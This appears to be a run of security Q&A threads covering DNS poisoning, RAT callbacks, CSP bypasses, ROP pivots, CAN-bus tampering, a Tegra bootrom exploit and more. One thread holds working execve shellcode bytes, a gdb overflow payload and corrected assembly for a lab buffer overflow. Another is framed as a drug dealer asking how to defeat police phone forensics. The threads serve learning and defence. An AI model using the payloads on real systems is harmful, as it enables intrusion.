Kaminsky attack is a technique with which you can flood the DNS recursive server (like your gateway) with DNS replies that ultimately match the response that the recursive server is originally looking for. This is also called DNS cache poisoning.

An alternate technique would be to ARP-spoof your IP as the gateway and let everyone make the DNS query to a DNS server running on your machine. Your rogue DNS server can then reply with the forged DNS records.


Is Android encryption safe with pattern? Does law enforcement brute-force phones? Let's say I am drug dealer and I want to protect my data on my phone.

I setup PIN for SIM and I enable encryption.

Now it's the tricky part, if I enable encryption with PIN, it's easy to brute-force it, right? I googled and I found something like USB Rubber Ducky which acts like keyboard and can be scripted.

Another option is to use encryption password, but my Android 7 Nougat is using same password for encryption and lock screen. So entering strong password every time I need to use a phone is too much.

But Pattern type of protection is convenient and it's not crackable with USB Rubber Ducky. Or can law enforcement mount some offline attack? Is this technically possible?

Are there any known procedures law enforcement use when they seize the phone? do they brute-force them? Do they ask google to change PIN? I think I'll delete my Google Account to prevent my country DEA from making it.

It depends on the phone.  More modern phones usually utilize a hardware security module to prevent against brute force attacks on the PIN.  These hardware elements store the PIN and limit the rate at which PINs can be tried.  Since Android L, Google experience devices (those that ship with the Play Store and GMail bundled) have required hardware-backed encryption.  If you have such a device, it will take quite some time for your PIN to be brute forced (especially if you have a reasonably long PIN, e.g., 6+ digits).


Remote Administration Tools and firewalls I was faced with a question a few days ago, regarding how a RAT server can reach out through the firewall and connect to the client. This was something that I've never given any thought to before, so I was a bit perplexed by the question.

So, the question is, as previously stated, how the RAT server can connect to the RAT client through a firewall. The client is often set to listen to a port, pretty high up in the range, and for the client to work properly port forwarding is often needed. This makes sense; the high port number won't interfere with other applications, so using it should be safe and they're not open by default in most firewalls. No issues here.

Now, for the server. We know that it only infects the victim's computer, and thus it can't perform port forwarding itself. I guess having the server polling for a connection could be one solution, but it would be ugly, inefficient and noticeable (at least if you're monitoring your traffic). Having the client send a connection request to the server though another port, which is open per default, could be another solution, but that could potentially mess with other applications, which would be very bad from the attackers point of view.

So how is it done? How does the RAT server reach out through the firewall to connect to the client, and how does the server receive the connection request form the client without the ability to forward the ports used?

There are two types of Remote Administration Toolkits: those that are used for legitimate purposes by the system administrators and those that are used by the malware for controlling the PC from a C&C server. You have used the malware tag in your question so I assume you want to know the working of the second type of RATs I mentioned.
When malware infects the machine, usually a small stager code contacts its parent server and download the rest of the code. Note that the connection is initiated from the victim's PC to the attacker's controlled PC. This is called reverse connection which most of the firewalls allow. The connection is initiated on those ports which have a very high chance to be allowed outbound such as port 80 (HTTP) and port 443 (HTTPS). Also, even an application layer proxy examining and blocking non standard traffic on standard ports cannot block these connections because nowadays the RATs uses standard SSL connection stream.
The only chance of detection these outbound reverse TCP/HTTP/HTTPS connections are through blocking the IP or DNS addresses of the C&C servers. This method has only a reasonable chance of blocking the connection and will work against only the most basic attacks since malware can use a variety of techniques to hide their C&C servers. Fast flux and TOR hidden services can be used to hide the C&C effectively and can't be blocked easily.


Private key DES password If I have a SSL private key that is encrypted with a DES password, and I have to share with another admin a NODES copy of the private key, can the other admin determine what my DES password is?

Not easily. This would amount to a known-plaintext attack on DES -- the "attacker" has access to a pair of ciphertext and plaintext, and is attempting to determine the key. DES is not a particularly strong cipher, but it is not considered to be especially vulnerable to this attack.


What are the limitations of Content Security Policy? I'm wondering what this new technique will not protect us against.

As I see it, since inline scripts are disabled (and I assume that includes javascript: links) then it solves the issue of covert theft of sensitive data via auto-executed JavaScript.

However, it would still be possible to alter the data on the screen in unexpected ways, and possible to create a convincing Phishing scam by providing a link out to another website.

Is this accurate, or are out-links prohibitable also?

There may be tricky ways to capture sensitive data in an external resource call as well, as I am not familiar with the scope of CSP.

What is the scope of a would-be XSS attack with the presence of a tight CSP?

Edit: updated assumptions for  the purpose of this post:

Users have a CSP 2 capable browser.
Inline style= is still going to be allowed by the policy. style-src ... unsafe-inline
We will only allow resources to be loaded from domains we control. (no external images)
We run our own CDN, so that domain has no 3rd-party content, and fits the same security standards as the main domain.

However, it would still be possible to alter the data on the screen in
  unexpected ways, and possible to create a convincing Phishing scam by
  providing a link out to another website.

  Is this accurate, or are out-links prohibitable also?

Yes it is accurate with one caveat: people on your site run modern browsers. For this exact reason, my team considers XSS without actual content injection (e.g. injecting into an unquoted tag attribute context) to be lower priority than a content injection bug itself because of CSP. We are blessed with having virtually no users on browsers that don't support some form of strong CSP.

  What is the scope of a would-be XSS attack with the presence of a
  tight CSP?

Forgive me here if this sounds soapboxy, but your question does not define "tight CSP", so let me elaborate on some things many overlook.

For the sake of argument, let's say this is a policy that is proposed (line breaks added for clarity, this is not a valid header):

Content-Security-Policy:
  default-src 'self';
  img-src https: data:;
  connect-src paypal.com api.example.com;
  script-src 'self' ajax.googleapis.com;
  style-src 'self' 'unsafe-inline'

Note: removing unsafe-inline from style-src is not practical today.

That's a pretty good policy with some obvious and not so obvious flaws, but inline script is not allowed. There are many more caveats to consider with CSP, it's not just about disabling eval and inline script (yes javascript: and on* event handlers are included).

Locking down 3rd parties to actually limit XSS

"CSP Bypasses" are a thing. H5SC Minichallenge 3: "Sh*t, it's
CSP!". We allow a 3rd party cdn which opens up XSS.
CSP: bypassing form-action with reflected
XSS form-action is not covered by default-src 'self' since it is not a "fetch directive".
Data exfiltration via injected content tags (e.g. img, style, etc) where policies tend to be more relaxed. We allowed exfil via the image tag.

So many other vectors still exist

GitHub's CSP journey contains many points on how the policy was tuned to prevent certain attacks.

All of the below can be abused with the proposed policy.

Removing 'self' from script-src to prevent XSS via JSONP
Exfiltrating CSRF tokens via img and form tags
Moving hosted flash files to a different origin instead of 'self' because flash ruins everything.
Using dynamic policies to prevent unexpected use of APIs that should only be used from a specific set of pages.
Limiting use of 'self' for frame-src/child-src
Abusing the base tag.

Sometimes, CSP just doesn't apply.

It's possible to circumvent CSP entirely. See PDF content-type sniffing for an example where user-controlled data on a page can really mess things up.

There's literally nothing we can do about this from CSP's perspective.

And sometimes, the internet makes you cry.

See Stealing the pie without touching the sill where CSS can be used to steal AND exfiltrate data on a page without javascript.

Because removing 'unsafe-inline' is not practical, this attack is possible. However, this attack is difficult to execute.


Confused about GitHub's GPG key association and authenticity I'm not sure I understand GPG, and something on GitHub has left me wondering.

In git, a GPG private key can then be used to sign commits, which allows someone who is in possession of the public key of the committer to verify the signature. If they know that the public key does indeed belong to the committer, then they can verify the commit authenticity.

By my understanding, the public key is public and it should be considered that anyone could have a copy of it.

In GitHub, it is possible to associate a public GPG key with an account by adding it through the settings, which will then display the commits as Verified, here's an example.

In addition, GitHub API exposes the GPG keys, here's an example.

There is something I am confused about though. Since all GPG public keys are supposed to be public, wouldn't it mean that anyone in possession of my public key could associate it with their account even if they are not in possession of the private key, and therefore the Verified status does not provide authenticity?

Another individual could certainly associate your public key with their profile. They could also email it to people, upload it to a public key server etc.

But fortunately none of this matters, as they don’t have your private key. They can’t sign commits as you, so that verified status will not appear.

By design the public key is public, and there is no risk whilst you are adequately protecting the private part.


Is Ruby's SQL Injection protection enough to warrant not using additional security measures? In my experience, SQL Injection is always a threat. If bad actors don't penetrate via SQL, they get enough data to launch bruteforces via MBASentry or do privilege escalation via scripts. However, I browse e-mercenary sites like https://2captcha.com/ and notice they support virtually every API other then Ruby.

The core of my question is the following: does Ruby along with additional provide enough protection to warrant not using additional measures.

No all security measures have weaknesses at points in time. You always want to have layers of Defense-in-Depth and never rely only on a single security control.

A deeper comparison of how the two you mention perform may or may not reveal whether there is overlap in the protection mechanisms. It may or may not turn out to be that one of them completely overlaps the other such that the second may not appear to be providing much benefit at the time of analysis.

If both are actively being developed there will be many points in time where one solution eclipses the other such that having both will provide more protection than one by itself. Depending on the ecosystems for that product this may happen frequently.

My suggestion would be to do a deep evaluation of each product, learn how frequently they get updates (look at their past history if possible), and see if you can determine what all each of them are effective at blocking. If this is a new market you may want to re-evaluate them every few months in case one becomes much better than the other.

Finally, if possible it's better to have two totally different types of security controls rather than two controls of the same type. The reason this helps is if new classes of attacks completely void one type of defense there may be a situation where a secondary type of defense may still work. Likewise in many, but not all cases, it's helpful if the security control is running on a system in front of the server containing data being protected rather than on that system (if the control itself has a bug it doesn't drop the attacker on the box with the data).


Have I really been hacked or am I falling for a phishing scam I received an email on the 14th saying that a hacker has access to my pc it says that at the time of hacking my account (myemail@gmail.com) had this password (it was a version of my password but not one that I’ve ever used for my gmail) and it claimed to have been watching me for months and that it had infected my pc through a adult website and had video of me when I was on the site doing you know what and that it would send it to my contacts and correspondence but I don’t have any contacts on my pc and also I use a different user and email when I do that, also why didn’t it send it to that email and not any of the other emails I have saved on my pc. Am I falling for a bullshit email or do I have something to worry about? Also it said I have 48 hours to pay them in bitcoins and that it would track when I opened it and start the countdown and I just opened it last night

This is a popular online scam so you should delete the email and move about your business.

See the FBI's Public Service Announcement on this scam specifically.

https://www.ic3.gov/media/2020/200420.aspx


Where to store hashes, salts, keys in Desktop Applications I am trying to figure out where or how i should store application secrets and keys inside a desktop application. For example a facebook app key or dropbox key and secret.

So I've read that i should hash, salt, encrypt etc etc these values. This is to prevent someone from reverse engineering my code and seeing the keys.

The is all good and well, but with all these methods, i'm just storing a salt or hash value somewhere instead of the key itself, in the end. Surely if a hacker can get to the salt/hash and possibly the source code, they will be able to decrypt the encrypted key and get my password/key/secret anyway?

One option I've read about that seems the most secure is to not store this value in the desktop app at all, but to call a web service to obtain the key (probably encrypted). But my question is, even in this case, a decent hacker will surely just do a memory dump or something to see what the value returned from the web service is, and then we're back at square 1.

The next best alternative seems to be obscurity.

Am I missing something completely?

On a side note, what use will a facebook/twitter/dropbox/etc key/secret be to a hacker anyway? Surely they would still need a user's credentials or access token to be able to use it anyway?

Any advice or suggestions will be appreciated.

TLDR: you cannot keep anything secret in a client application, you can only make it harder to find. You need to obfuscate the secret key to make it hard enough for an attacker to want to reverse engineer it.

client applications, which have to be deployed to the end user device are subject to reverse engineering and hence NOTHING can be kept secret. But it is true that you can make the process of reverse engineering certain parts of your application hard, sometimes hard enough to make it not worth the effort, by using obfuscation.

using a hash and a salt will not help you since a hash function is a one way function - it can be used to validate a given input's hash is identical to what is expected. It cannot be used to encrypt data, since there is no method to decrypt.

You can use symmetric encryption such as AES, but still the encryption key will be needed to decrypt the data and hence will be also available to the attacker.

Keeping the secret on a server and calling a web service, as you noted, is useless since the attacker can call the web service just like your client application can.

So the real only means of protecting your secret is using obfuscation which will make it not worthwhile to an attacker to do the effort of reverse engineering it.

IMHO in your case, a secret key for an API is sensitive data, but not critically sensitive. Anyone can obtain an API key of his own, and as you noted on itself does not grant you permissions to any users data. It is just for the service provider to track who is doing the API calls, and sometimes in certain API's to monitor usage, limits and even fee's. So you risk is someone stealing your API bandwidth of calls and maybe even causing you to pay for their usage of the API. On the bright side - such keys (facebook, twitter...) are very common, today almost in every application, and hence its enough for your to make it just a bit harder than usual in order for the attacker to just leave your application alone and go grab a sercret API key from another application where it is just laying in plain text.

Here is a blog post with some nice simple ideas.


Is there any reason to log out of websites? If a user is logged in to a website (via https), is there any reason to log out of the website when they are done using it?

For this question, please assume:

The network is reasonably secure (ex. not public WiFi)
The user has exclusive physical access to the computer and network hardware

HTTP is a stateless protocol. Being logged into a website means that a shared state need to be kept between client and server. This is usually accomplished using a shared session ID which is commonly stored on the clients side as a cookie and on the server side in a database. If the attacker can make use of this session ID he can do actions as the authorized user.

Cross Site Request Forgery (CSRF) is a common attack to misuse this cookie even though the attacker cannot read the cookie's value. This attack is for example used to hijack and reconfigure routers so that they can be used to man in the middle any connections to the internet.

Other attacks steal the session ID for example using Cross Site Scripting (XSS). Of course the session ID can also be stolen by hacking the server or its database for example using SQL injection or simply be guessing the correct session ID in case of easily predictable session ID's.

While all these attacks can be done when the user is logged in a properly implemented logout invalidates the session ID which then can no longer be misused. This way the attack surface is reduced.


Single vs multiple personas? What are the security implications? I have two email addresses, one for work and one for home. I have have two cellphone numbers, one for work and one for home. But I am just one individual (and only have one social security number which is something it would be inappropriate to have two of). Right now I have just one Twitter handle, just one Stack Exchange ID, etc.

From a security viewpoint, what are the benefits/drawbacks for having a single persona versus having two or more personas? Note this question has two viewpoints - from the individual's viewpoint and from the provider's viewpoint. And they might have conflicting views on which is more appropriate - single or multiple. Does the answer differ by application? E.g. might it be more appropriate on Twitter and less on Facebook or Stack Exchange?

A related question with regards to multiple personas on Stack Exchange is at https://genealogy.meta.stackexchange.com/a/1592/157 where it seems obvious to me that multiple personas is bad from the provider viewpoint.

As a systems admin & developer

I use different personas in Production and QA.. so that a script in QA doesn't go awry and inadvertently do bad things to production systems.

As a systems admin and a user

I use different personas for my day to day email activities, so that if my email account were to get virus-filled spam, or if I were to surf the web and hit with a zero day, the maximum harm that virus could do is affect things my user account has access to.

As an employee and personal user

If I were to do work-related business over a personal email account, then any legal issue my office runs into may allow them to sopena the emails in my personal account.  Depending on what I say in that personal account that may be undesirable.   This is especially important for FINRA-covered registered reps (for example) as any financial advice they offer or claim they make, it must be monitored by a 3rd party (such as Smarsh, or internal compliance review).

Disclaimer / IANAL

I focuses primarily on email in the above areas since that is where I work in day to day activities, but I'm also not a lawyer and don't know the local country/region laws that affect you.  The stewardship that each user must maintain for separate accounts (or identities) may be ultimately defined as the amount of legal risk that the individual or company wants to take on.

Finally, the more accounts that your users use to do business in, and if that business has its records subpoenaed, then the legal costs have just increased unnecessarily.  From a cost savings perspective alone (risk mitigation) then separate accounts may be warranted.

On the flip side, I have seen people use many accounts and not worry about this because it would cause undue burden on the business.  I'm not sure if this argument holds water, but it has been done.  I just hope those people never get sued.

Summary

Is it worth it to have many different personas?  I'd say it depends on why you're doing it.  Loss of data, service availability, and permission elevation would be one of many reasons to do it.

The general user should

Use different personas (usernames and passwords) for banking vs forums and email
Create a generic account that, if hacked, nothing important is lost.
Limit exposure with the generic account by setting up multi factor authentication (lots of good links there)
Create additional generic account as the risk exposure dictates


how to ensure that the DNS server is giving me the legitimate information? if attacker poisioned the cache of DNS server then it will give me illegitimate information.so, how to identify it?
if the solution is to create the local database of domain name and ip addresses and compare it with DNS response then how/where to get the correct information about it?

If you can collect the DNS info beforehand set that data in a prioritized host file. If not you'd have to force queries to near random DNS servers on the Internet, ideally from a completely separate network to avoid man in the middle modification (possibly via a cell phone on a carrier network) and compare the results to what you got from the questionable DNS server.

As to how to collect safe DNS/IP info verify the Certificates via TLS/SSL if the remote systems support TLS/SSL (possibly other protocols that also use certificates).

A well configured Split DNS implementation where the Internal DNS servers don't pull from your Externally facing DNS servers will prevent external poisoning of your internal DNS resolutions.

It's a great question and an interesting design flaw that we all have to work with.

I think the important part is knowing how to implement Split DNS properly so your internal hosts don't get poisoned.

You could also tunnel all of your DNS requests to a trusted server or set of servers to avoid the man in the middle problem.

The more complicated solution is to rewrite your DNS client to poll various trusted DNS servers to compare their results with your local one to detect DNS poisoning.


Return-oriented programming: how to find a stack pivot I have a program with a heap overflow.  It contains some code that is not randomized (is not using ASLR).  I want to do a return-oriented programming exploit.  Since this is a heap overflow, the first thing I need to do is find a stack pivot, so I can get RSP pointing to a known memory address where my ROP program lives.

What are the state-of-the-art ways to find a stack pivot?  What instruction sequences should I look for?  Is there a list/database of instruction sequences that can be used as stack pivots?

Also, are there any defenses/mitigations I need to watch out for, or that it would help to be aware of?

For instance, I think I remember that longjmp() calls are a good place to find a stack pivot (e.g., a POP RSP ... RET sequence), assuming I control some value on the stack.  However, someone told me that some platforms now incorporate a mitigation to make exploiting longjmp() calls harder: they store setjmp buffers in encrypted form.  Is that right, and are there any ways to work around this mitigation, or should I give up on longjmp()s?

Another mitigation is that Windows 8's VirtualProtect function checks that it's being called with RSP set to something reasonable.  However, others have documented how to bypass that mitigation, so that's not a barrier -- and anyway, that's not focused on preventing the initial stack pivot.  My focus/interest in this question is on the initial stack pivot, not what you do thereafter.

Have a look at mona by corelan

https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/


SSD Wipe to remove known & unknown malware Does anyone know of a method to wipe a HDD that gives a high degree of confidence that any malware present will not persist when the OS is reinstalled? Using tools on Linux and/or Windows?

We have approx 70 SSD's ranging in size from 480gb-1TB from a variety of manufacturers pulled from workstations compromised by a hostile foreign state. The network was compromised when several workstations were rebuilt using a Win 10 image later found to contain backdoors/malicious code as a result of a larger organisational wide attack.

The machines themselves have been replaced, it's only the SSDs we'd like to avoid throwing out. Steps have been taken to lockdown the network they'll sit in with very little traffic allowed out and between hosts. There is also a high degree of network monitoring in place looking for patterns/behaviors identified during the original breach... So we have a high level of confidence should any malicious code break out it will be identified and contained.

The larger organisation is in the process of rebuilding from the ground up, however the network in question was under the control of a separate entity - where a need for a more economical approach is required.

Edit: The foreign actor is believed to be from the far east or a close ally. The organisation targeted was a federal government department in a country who is a member of the five eyes.

This was an advanced, targeted attack, with compromised boot code found on desktops and servers. While no evidence of malicious SSD/HDD firmware was found, it can't be ruled out due to the capability demonstrated in other areas. This is definitely not run of the mill adware.

TLDR: Toss 'em. It's the only option.

You're asking for a way to ensure that the drives haven't been tampered with by a proven motivated and well-funded state actor. But I can see no way to be sure that the firmware is secure.

The best option I can think of is to read the firmware from a potentially-compromised drive and a known-untampered drive of the same model, then do a comparison. The problem with this strategy is that you have to trust the potentially-compromised drive to accurately report what is in its firmware. But the drive is potentially compromised, so you can't trust it. How can you be sure that it doesn't returns different data for diagnostic access v. actual use.

I know that this sounds far-fetched, but you are ascribing great skill and resources to the attackers. Toss the drives and eat the cost. Sorry :(


Is there any protection against malicious devices on a CAN bus? CAN (controller area network) is a bus used in all modern cars. You can read a lot of the cars information over this bus and I think (but I'm not too sure about this) that some critical control signals (breaks, e.g. for ESP?) get over that bus.

I know very little about the CAN:

Devices which communicate via CAN bus have to send their identifier before they start sending anything else. The protocol defines that devices with lower identifiers have priority. The protocol has a "dominant 0", that means if one device puts a 0 on the bus and another one puts a 1 on the bus, the 0 is on the bus. Devices listen all the time, including when they are sending. That means a device which puts its identifier on the bus which has a 1 at some position, but reads a 0 it knows that a higher priority device also wants to use the bus and it has to stop.

What happens when an attacker sends "0" all the time over the bus? For example, could it be possible to upgrade the software of a cars radio to put "0" all the time on the bus (see Comprehensive experimental analyses of automotive attack surfaces for many more sophisticated attacks) or are such low-level protocols implemented in a non-updateable way (e.g. hardware or ROM) so that such an attack could not happen?
Is it possible to protect the bus against malicious devices / this kind of denial-of-service attack?

CAN is designed to be relatively simple and is often implemented between microcontrollers with very little processing power (that are busy doing stuff where timings are important), and is used to relay messages in real time. Adding some encryption and DoS protection would introduce too much complexity and given that it's just two wires shared by all controllers, I don't think DoS protection is even possible in this case (what are you going to do if a rogue device decides to flood the bus with garbage or continuously hold the data lines "high"?).

A partial solution would be to separate the network into multiple buses, like it's done in most (all?) cars, where a separate bus is used for critical elements, and gateways are used to relay specific messages between them. DoS on a single bus doesn't affect the other one.

It is indeed possible to reprogram the firmware of any controller :

There are even easy-to-use software and hardware for that. This particular screenshot shows a program capable of updating the firmware of engine controllers and instrument clusters, but I'm sure the same applies to all controllers, it's just that the demand for software capable of tampering with engine/instrument clusters is higher (for obvious reasons) than the ones capable of interacting with the airbag or ABS ones. I'm sure criminals are exploiting these flaws and it proves yet again that security by obscurity just doesn't work.

If you have the time to reverse-engineer the original firmware you can easily make your own malicious version, and all you need is 30 seconds of access to the car's CAN bus (via the diagnostic port) to install the new firmware. Of course, you can use the radio as an entry point (for example, by exploiting vulnerabilities in its MP3 decoding functions) to get onto the CAN bus and install malicious firmware on other controllers. The only security is obscurity of the protocol which decays over time.

Finally I don't think there is an efficient way of securing the CAN bus - encryption and authentication won't do much - it will indeed prevent intrusions on the bus (such as a rogue device connected to the diagnostic port) but won't prevent against compromising a device that's supposed to have access to the bus (like the radio) which would be the main entry point of an attacker.

About installing firmware, requiring a unique passphrase printed in the car's documents before any firmware can be installed is a good solution, it will prevent a compromised device on the bus from compromising other devices, while still allowing the legitimate owner of the car to tamper with the firmware if they want to (because having to pay 300€ and often more to the dealer to replace a lost key or reprogram an used controller is what I would call getting ripped off).


Unable to execute shellcode in basic buffer overflow example I have a basic example of a program vulnerable to buffer overflow (extracted from this other question).

#include <string.h>

void vuln(char *arg) {
    char buffer[500];
    strcpy(buffer, arg);
}

int main( int argc, char** argv ) {
    vuln(argv[1]);
    return 0;
}

I will explain my "flow of thought":

My first approach, given that I know the buffer length, was to fill it entirely with "NOPs" (477 bytes) + shellcode (23 bytes) + NOPs + Return address, being the return address the beginning of my buffer.

gdb-peda$ r $(python -c "print '\x90'*477+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*12+'\xfc\xce\xff\xff'")

Here's the current memory:

0xffffcef8: 0x00    0x00    0x00    0x00    0x90    0x90    0x90    0x90
0xffffcf00: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf08: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf10: 0x90    0x90    0x90    0x90    0x00    0x90    0x90    0x90
0xffffcf18: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
...
0xffffd0d0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffd0d8: 0x00    0x31    0xc0    0x50    0x68    0x2f    0x2f    0x73
0xffffd0e0: 0x68    0x68    0x2f    0x62    0x69    0x6e    0x89    0xe3
0xffffd0e8: 0x50    0x53    0x89    0xe1    0xb0    0x0b    0xcd    0x80
0xffffd0f0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffd0f8: 0x90    0x90    0x90    0x90    0xfc    0xce    0xff    0xff

1) Last 4 bytes are the address that will be written to EIP, no problem with this.

2) In order to make my shellcode works properly, it should start in the beginning of a WORD. In 0xffffd0d8 there's an unremovable 0x00 which does not get overwritten by the buffer overflow. It occurs several times in the buffer, and for what I've read is due to a loop behaviour in the strcpy.

3) In this situation, I guess I need to find another space to write my shellcode, with no "0x00" smashing it.

It seems that there's room for the shellcode just at the beggining of the buffer (0xffffcefc), so I change the buffer

gdb-peda$ r $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*477+'\x90'*12+'\xfc\xce\xff\xff'")

and I ensure that the shellcode is correctly written into memory:

gdb-peda$ x/10i 0xffffcefc
=> 0xffffcefc:  add    al,al
   0xffffcefe:  push   eax
   0xffffceff:  push   0x68732f2f
   0xffffcf04:  push   0x6e69622f
   0xffffcf09:  mov    ebx,esp
   0xffffcf0b:  push   eax
   0xffffcf0c:  push   ebx
   0xffffcf0d:  mov    ecx,esp
   0xffffcf0f:  mov    al,0xb
   0xffffcf11:  int    0x80
gdb-peda$

But when I run the code, even if the shellcode commands are executed, it crashes in the following "0x00" byte at 0xffffcf14, and no shell is spawned.

gdb-peda$ continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0xffffcf14 in ?? ()

gdb-peda$ x/10i 0xffffcf11
   0xffffcf11:  int    0x80
   0xffffcf13:  nop
=> 0xffffcf14:  add    BYTE PTR [eax-0x6f6f6f70],dl
   0xffffcf1a:  nop
   0xffffcf1b:  nop
   0xffffcf1c:  nop
   0xffffcf1d:  nop
   0xffffcf1e:  nop
   0xffffcf1f:  nop
   0xffffcf20:  nop

gdb-peda$ x/10xb 0xffffcf14
0xffffcf14: 0x00    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf1c: 0x90    0x90
gdb-peda$

The code has been compiled by using:

  gcc -m32 -z execstack strcpy_ex.c -fno-stack-protector -o strcpy

and, of course, ASLR is disabled.

Additional info:

# uname -a
Linux kali 4.9.0-kali4-amd64 #1 SMP Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux

I'm a newbie in exploitation, but I thought this to be a simple exercise and it's giving me some headaches... Can anyone help me to figure out the right way to exploit this buffer overflow?

I see two problems, besides the null byte problem which I'm unable to reproduce (on an Ubuntu 18.04 virtual machine).

The add al,al instruction at the start should be xor eax,eax. The weird thing is that the bytes \x31\xc0 which are at the start of your shellcode actually is the xor eax,eax instruction. If the \x31 is getting replaced with \x00 somehow, like you mentioned is happening elsewhere, that would turn it into an add instruction.
You're not setting the third argument for the execve system call. This can be done by setting the edx register to esp right after pushing 0x00000000 onto the stack.

xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx,esp
push   eax
mov    edx,esp     ;set  the envp argument
push   ebx
mov    ecx,esp
mov    al,0xb
int    0x80

As for the null byte problem, that is very strange because it sounds like there are null bytes in the actual buffer after it is written to by strcpy, which should not be happening. I would set a breakpoint immediately after the call to strcpy in assembly and inspect the buffer memory. Maybe you've already done this but use the debugger and make sure that the null bytes aren't creeping in somehow after the copying takes place.


CA signature algorithm vs certificate public key algorithm Is there any restriction on the CAs signature algorithm with respect to the public algorithm in the actual server/device certificate? For example, can a ECDHE_ECDSA_* certificate be signed by a CA with RSA  and still be within spec? Is this mentioned in any of the RFCs?

Also, If the above is true, is there any provision in the CSR format to specify the algorithm to be used by the CA to sign it?

I tried to google this but could not find a cited answer

The signature created by the issuer of the certificate is fully independent of the algorithm used in the certificates public key. The signature algorithm instead depends on the issuers key and not the certificates key. It is actually common to have certificates containing an ECC key signed with RSA.


Diffie-Hellman with non-prime modulus When using the Diffie-Hellman key-exchange, it is said to be important to use a safe prime. However, if a non-prime modulus with sufficient bit-length is generated, is there an attack that can be used to recover the shared secret from the public communication (g, g^a, g^b, modulus) or to decrypt an encrypted message?

TL;DR: Yes, it possibly could be decrypted.
NOTE: I originally did not realize your question has a subtle nuance to it. You mention safe primes and then non-primes. But safe primes is a mathematical term. Not every prime is a safe prime! Safe prime is a prime 2p + 1 such that p is also prime. It is not only important that modulus in DH is prime but it should be a safe prime for best security.
Why you should not use non-primes
Whether non-primes can be safe depends on what you mean by sufficient length. It may not be possible to reasonably break them, if the numbers are much bigger then usual, but it would very much depend on the exact numbers.
One of the reasons we use safe primes as modulus (p) is to make sure we generate many possible secrets from the range <0, p). When p is not prime, this may not be the case. The fewer secrets we generate, the easier to brute-force them.
For example lets say we use g=5, p=25. Then the generated secret s will always be either 0 or 5. Obviously this is much easier to brute-force than all the numbers from 0 to 24. Safe primes (not normal primes) generate large prime subgroups, meaning the secret can have many values, even if not all the possible ones.
Another even bigger problem is that, if you use a non-prime you would only have to solve the discrete logarithm problem for the factors of p, which is much easier. You can read more on CryptoSE.
Now as you can see, it is still possible to think of numbers large enough that it would be secure enough. For example if we choose two different primes both large enough to be secure on their own and then multiply them and use the result as p, then this should be secure. But you can't really be sure for arbitrary values as there may be many small factors or the same factors and using unnecessarily large numbers would cost you in performance.
There also may be other problems I am unaware of.
Thanks to AleksanderRas for the link to CryptoSE.
Why you should use safe primes
The reason to use safe primes is related to the first reason to use primes. Even a prime number may have a small prime group. This means it does not generate many secrets from the range <0,p). Safe primes are better at having large prime groups and therefore generating more secrets making brute-forcing harder. You can read a bit more at CryptoSE.


Network with one possible unsecure device and one home assistant device Background:

I have a google home and I plan to buy 1 or 2 cheap cameras to monitor my home when I'm not in it. I plan to have the camera connected to a wifi plug, so I can switch it off via the app over the internet. The google home device is not connected to any important device, except for a wifi bulb.
Google home, the wifi plug and the cameras will be on the same wifi network.
There will be no active laptop or computer on the network when the cameras are on.

Note:

I'm already aware that there can be a possibility of the camera having a backdoor or something, but it doesnt matter as I only plan on using it when I'm not at home.

Problem:

Is there any security vulnerabilities that can occur with the setup?
I'm mainly concerned about the cheap camera.

There may be a lot of vulnerabilities in your setup:

As you plan to connect your devices with wifi, you open up at least for signal jamming. There are a lot of possibilities for  a thief, like simply deauthenticate your cameras while he passes them (I expect the cameras not having an internal memory). Dependent on the wifi encryption it could also be (relative easily) possible to eavesdrop the communication between the devices.

You said you do not have other devices on the network. So you are  planning to have a isolated wifi network? Or is this your regular home network? Dependent on that, there are a lot of additional vulnerabilities for your system. Every other device could be used as a target.

If you have an isolated wifi network, an adversary could also try to penetrate it. If you are not monitoring, you wouldn't even recognize that there's an intruder. When the intruder is in your network, it should be easy for him to manipulate data, inject new data or simply eavesdrop. He can target each layer of the protocol stack now, especially if your "cheap" cameras use bad crypto.


Tegra X1 bootrom exploit portability potential (K1 in nexus 9 specifically) I have been wondering if anyone here reckons  that porting the recent Tegra X1 bootrom exploit is achievable? The code in question does not seem likely to be going through significant changes frequently and it got me hoping  that I would one day get to run EL3 code on it. Another thing is that I am not sure about is how to force this tablet in APX mode without actually rendering bootlooder-related partitions unusable first...

Are you sure that the K1 is vulnerable? I did a quick search and all that I found was that "NVIDIA Tegra X2, which was launched in 2016, and later Tegra systems on a chip (SOCs) such as Xavier, are not affected by this issue." from the official Nvidia security notice, but no explicit confirmations. Assuming it is, let's move on.

On fail0verflow's write-up of their Tegra RCM exploit ShofEL2 and how to use it on the Nintendo Switch, they said that the preferable method of putting the switch into RCM mode is by pressing Volume-Up, power, and the 'home button' all at once (the other methods being messing-up the bootloader/physically removing the flash and rebooting into RCM from software). They said that the home button wasn't the home button on the Joy-Con, but rather the 10th pin on the right Joy-Con connector (that pin and ground are where it would be connected if it were a button, anyway). According to Wikipedia (and fail0verflow in the blog post I linked earlier), the majority of Tegra devices run Android. As such, I would believe that this 10th pin is connected to the same CPU GPIO pin that the home pin on a Tegra-powered Android is connected to. So try that, turn your tablet off and press the power button while holding the home button at the bottom and volume-up. If it appears to still be off, plug it into your computer. When my I plug my Switch into my Linux system while it's in RCM mode, the lsusb command lists it as 'NVIDIA Corp.' (It is listed as 'Nintendo, Co. Ltd.' when the Switch is normally booted into the Switch operating system.) If you use Windows, try checking Device Manager. You can use that to verify that you got your tablet into RCM mode.

